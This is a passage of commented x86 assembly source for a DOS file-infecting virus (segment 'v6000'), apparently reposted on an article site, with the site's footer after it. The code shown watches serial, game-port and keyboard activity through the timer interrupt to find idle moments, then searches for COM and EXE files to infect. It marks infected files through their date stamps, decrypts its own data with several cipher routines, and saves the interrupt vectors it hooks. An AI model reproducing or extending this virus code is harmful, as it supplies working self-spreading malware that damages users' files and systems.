cmp al,byte ptr cs:[bp+data_com] ; Actual byte=Previous?
mov byte ptr cs:[bp+data_com],al ; Store actual byte
je next_port ; Yes? then jmp
call mark_activity
jmp check_game
next_port:
inc bp
loop check_com ; Check next COM
check_game:
mov dx,201h
in al,dx ; Game I/O port
call waste_time
cmp al,data_game ; Actual byte=Previous byte?
je check_keys ; Yes? then jmp
call mark_activity
check_keys:
mov data_game,al ; Store actual byte
in al,60h ; AT Keyboard controller 8042.
call waste_time
test al,80h ; Key pressed?
call pop_registers2
jnz inc_tick_counter ; Yes? then jmp
call mark_activity
inc_tick_counter:
push ds
push es
push bx
push cs
pop ds
inc tick_counter
cmp tick_counter,8*18 ; < tick_value secs inactive?
tick_value equ word ptr $-2
jb exit_i8 ; Yes? then jmp
cmp into_i21,0 ; int 21h active?
jnz exit_i8 ; Yes? then jmp
cmp inout_flag,0 ; Input/output activity?
jnz exit_i8 ; Yes? then jmp
les bx,dword ptr ofs_flagdos
cmp byte ptr es:[bx],0 ; DOS inactive?
jnz exit_i8 ; Yes? then jmp
les bx,dword ptr ofs_swpdos
cmp byte ptr es:[bx],0 ; DOS swapping?
jnz exit_i8 ; Yes? then jmp
mov tick_counter,0 ; Reset counter
call search_files
or tick_value,0 ; Tick value=0?
jz exit_i8 ; Yes? then jmp
cmp word ptr no_mouse,1 ; Mouse present but not checked?
jz exit_i8 ; No? then jmp
sub tick_value,1*18 ; 1 second
exit_i8:
pop bx
pop es
pop ds
iret
search_files:
call push_registers2
mov ah,2Fh
call int21h ; Get DTA address in ES:BX
mov ax,cs
mov dx,es
cmp ax,dx ; Virus already using DTA?
jne change_dta ; No? then jmp
jmp exit_sf
change_dta:
mov ds:ofs_dta,bx
mov ds:seg_dta,es
mov ah,1Ah
mov dx,offset(dta)
call int21h ; Set DTA
cmp fname_waiting,1 ; Has a file waiting to be infected?
je infect_via_i8 ; Yes? then jmp
cmp searching,1 ; Search in progress?
je find_next ; Yes? then jmp
mov ah,4Eh
mov cx,3Fh
test search_execom,1 ; Searching for COM?
jnz search_exe ; Yes? then jmp
mov dx,offset(m_com)
jmp find_first

search_exe:
mov dx,offset(m_exe)
find_first:
call int21h ; Find first file
jc change_ftype
mov searching,1 ; Mark searching files
mov dx,dta_date ; Get file date
rcr dh,1
cmp dh,100 ; Infected?
jb convert_relative ; No? then jmp
find_next:
mov ah,4Fh
call int21h ; Find next
jc change_ftype
mov dx,dta_date
rcr dh,1
cmp dh,100 ; Infected?
jnb find_next ; Yes? then jmp
jmp convert_relative

change_ftype:
dec search_execom ; Next type
mov searching,0 ; Next time do a find-first
jmp restore_dta

infect_via_i8:
mov dx,offset(file_name)
call try_to_infect_file
mov fname_waiting,0 ; Next time do a search
jmp restore_dta

convert_relative:
mov si,offset(dta_fname)
mov di,offset(file_name)
push cs
pop es
mov ah,60h
call int21h ; Convert relative path to full path
mov fname_waiting,1 ; Next time do an infection
jmp restore_dta ; Very stupid jmp!!!!

restore_dta:
mov ah,1Ah
mov ds,cs:seg_dta
mov dx,cs:ofs_dta
call int21h ; Restore DTA
exit_sf:
call pop_registers2
ret

decrypt_bytes:
mov al,code_mask
cmp crypt_method,0 ; XOR encryption?
je dec_xor ; Yes? then jmp
cmp crypt_method,1 ; NOT encryption?
je dec_not ; Yes? then jmp
cmp crypt_method,2 ; ROR encryption
je dec_rol ; Yes? then jmp
cmp crypt_method,3 ; DEC encryption?
je dec_inc ; Yes? then jmp
dec_xor:
xor [si],al
inc si
loop dec_xor
ret
dec_not:
not byte ptr [si]
inc si
loop dec_not
ret
dec_rol:
rol byte ptr [si],1
inc si
loop dec_rol
ret
dec_inc:
inc byte ptr [si]
inc si
loop dec_inc
ret


disinfect_exe:
push cs
pop ds
call read_header
mov ofs_virus,length_virus-offset(header)
call lseek ; Lseek to length(file)-1Ch
mov ah,3Fh
mov cx,1Ch
mov dx,offset(header)
call int21h ; Read stored header (encrypted)
mov si,dx
push si
call decrypt_bytes ; Decrypt header
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
pop dx
mov ah,40h
mov cx,1Ch
call int21h ; Write original header
call truncate_file ; and truncate file to original length
ret

get_int_vector: ; Input: al:=int.number
push ds
push si
xor ah,ah
mov si,4
mul si
mov si,ax
xor ax,ax
mov ds,ax ; ds:=0
les bx,[si] ; get int vector in es:bx
pop si
pop ds
ret

m_com db '*.COM',0
m_exe db '*.EXE',0

header:
signature dw 20CDh
partpag dw 0
pagecnt dw 0
relocnt dw 0
hdrsize dw 0
minmem dw 0
maxmem dw 0
reloss dw 0
relosp dw 0
chksum dw 0
exeip dw 0
relocs dw 0
tabloff dw 0
ovr dw 0

length_virus:

buffer:
ofs_1c dw ?
seg_1c dw ?

_header:
_signature dw ?
_partpag dw ?
_pagecnt dw ?
_relocnt dw ?
_hdrsize dw ?
_minmem dw ?
_maxmem dw ?
_reloss dw ?
_relosp dw ?
_chksum dw ?
_exeip dw ?
_relocs dw ?
_tabloff dw ?
_ovr dw ?

stored_psp dw ?
clusters_avail dw ?
stored_drive db ?
loading_dos db ?
xchg1 equ byte ptr $
tunnel_ok equ byte ptr $
seg_fname dw ?
xchg2 equ byte ptr $+1
ofs_fname dw ?
db ?,?

_3bytes db ?,?,?
db ?
seg_psp dw ?
ofs_i21 dw ?
seg_i21 dw ?
ofs_i13 dw ?
seg_i13 dw ?
flags db ?
ticks_disableFD dw ?
ofs_i13_2 dw ?
seg_i13_2 dw ?
ofs_i24 dw ?
seg_i24 dw ?
ofs_i1b dw ?
seg_i1b dw ?
ofs_i23 dw ?
seg_i23 dw ?
ofs_i8 dw ?
seg_i8 dw ?
ofs_i25 dw ?
seg_i25 dw ?
ofs_i26 dw ?
seg_i26 dw ?
ofs_i17 dw ?
seg_i17 dw ?
length_lo dw ?
length_hi dw ?
f_date dw ?
emul_pushf equ word ptr $
f_time dw ?
attribs dw ?
boot_i21 dw ?
filename equ word ptr $
ep_ip dw ? ; Also filename
ep_cs dw ? ; 8bytes+'.'+3bytes+0
db ?
db ?
db ?
db ?
point db ? ; '.'
filename_ext equ word ptr $ ; 3bytes
seg_stop dw ?
db ?
db ?
code_mask db ?
ofs_dta dw ?
seg_dta dw ?
dta:
db 15h dup(?)
dta_attr db ?
dta_time dw ?
dta_date dw ?
dta_sizel dw ?
dta_sizeh dw ?
dta_fname db 0dh dup(?)
inout_flag db ?
tick_counter dw ?
into_i21 db ?
fname_waiting db ?
search_execom db ?
searching db ?
no_mouse db ?
mouse_checked db ?
drive equ byte ptr $
use_ports db ?
bit_drive db ?
data_com: db ? ; COM1
db ? ; COM2
db ? ; COM3
db ? ; COM4
com_ports: dw ? ; Address of COM1
dw ? ; COM2
dw ? ; COM3
dw ? ; COM4
data_game db ?
file_name db 67 dup(?)
return_dir dw ?
return_dir2 dw ?
activity_checks db ?
ofs_sft dw ?
ofs_flagdos dw ?
seg_flagdos dw ?
ofs_swpdos dw ?
seg_swpdos dw ?
crypt_method db ?
jmp_virus db ?
ofs_virus dw ?
i13_5bytes db 5 dup(?)

end_virdata equ word ptr $

sector:
jmp_bootcode db 3 dup(?)
db 8 dup(?)
sectsize dw ?
clustsize db ?
ressecs dw ?
fatcnt db ?
rootsize dw ?
totsecs dw ?
media db ?
fatsize dw ?
trksecs dw ?
headcnt dw ?
hidnsec dw ?
db (512-($-offset(sector))) dup(?)

format_table equ $
vstack equ $-70h
s_mbr equ $-70h+1
buffer_enc equ $+34h

org $+34h
db 512 dup(?)
vir_end equ $

v6000 ends
end start

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT